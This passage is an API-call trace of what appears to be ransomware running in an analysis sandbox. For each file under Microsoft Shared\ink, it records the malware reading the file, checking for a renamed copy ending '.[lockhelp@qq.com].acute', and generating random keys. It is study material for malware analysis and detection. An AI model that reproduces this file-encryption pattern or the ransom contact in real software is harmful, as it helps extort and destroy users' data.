dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.697] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=38485) returned 1 [0050.697] CloseHandle (hObject=0x170) returned 1 [0050.697] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml")) returned 0x20 [0050.697] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.697] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.697] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.697] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.698] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=1218) returned 1 [0050.698] CloseHandle (hObject=0x170) returned 1 [0050.698] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml")) returned 0x20 [0050.698] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.698] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.698] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.698] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.699] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=209) returned 1 [0050.699] CloseHandle (hObject=0x170) returned 1 [0050.699] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml")) returned 0x20 [0050.699] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.699] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.699] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.699] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.700] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=471) returned 1 [0050.700] CloseHandle (hObject=0x170) returned 1 [0050.700] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml")) returned 0x20 [0050.700] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.700] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.700] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.701] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.701] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=215) returned 1 [0050.701] CloseHandle (hObject=0x170) returned 1 [0050.701] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml")) returned 0x20 [0050.701] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.701] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.701] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.701] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.701] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=1437) returned 1 [0050.701] CloseHandle (hObject=0x170) returned 1 [0050.701] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml")) returned 0x20 [0050.702] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.702] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.702] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.702] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.703] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=219) returned 1 [0050.703] CloseHandle (hObject=0x170) returned 1 [0050.703] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml")) returned 0x20 [0050.703] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.703] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.703] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.703] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.704] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=924) returned 1 [0050.704] CloseHandle (hObject=0x170) returned 1 [0050.704] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml")) returned 0x20 [0050.704] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.704] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.705] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.705] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.705] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=215) returned 1 [0050.705] CloseHandle (hObject=0x170) returned 1 [0050.705] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml")) returned 0x20 [0050.705] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.705] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.705] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.705] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.705] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=749) returned 1 [0050.706] CloseHandle (hObject=0x170) returned 1 [0050.706] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml")) returned 0x20 [0050.706] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.706] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.706] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.706] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.707] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=749) returned 1 [0050.707] CloseHandle (hObject=0x170) returned 1 [0050.707] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml")) returned 0x20 [0050.707] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.707] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.707] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.707] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.707] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=2764) returned 1 [0050.707] CloseHandle (hObject=0x170) returned 1 [0050.708] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml")) returned 0x20 [0050.708] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.708] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.708] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.708] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.709] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=591) returned 1 [0050.709] CloseHandle (hObject=0x170) returned 1 [0050.709] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml")) returned 0x20 [0050.709] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.709] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.709] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.709] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.710] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=1166) returned 1 [0050.710] CloseHandle (hObject=0x170) returned 1 [0050.710] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml")) returned 0x20 [0050.710] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.710] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.710] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.710] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.711] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=207) returned 1 [0050.711] CloseHandle (hObject=0x170) returned 1 [0050.711] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml")) returned 0x20 [0050.711] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.711] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.711] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.711] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.711] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=46624) returned 1 [0050.711] CloseHandle (hObject=0x170) returned 1 [0050.711] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat")) returned 0x20 [0050.712] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.712] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.712] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.712] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.713] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=747280) returned 1 [0050.713] CloseHandle (hObject=0x170) returned 1 [0050.713] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common 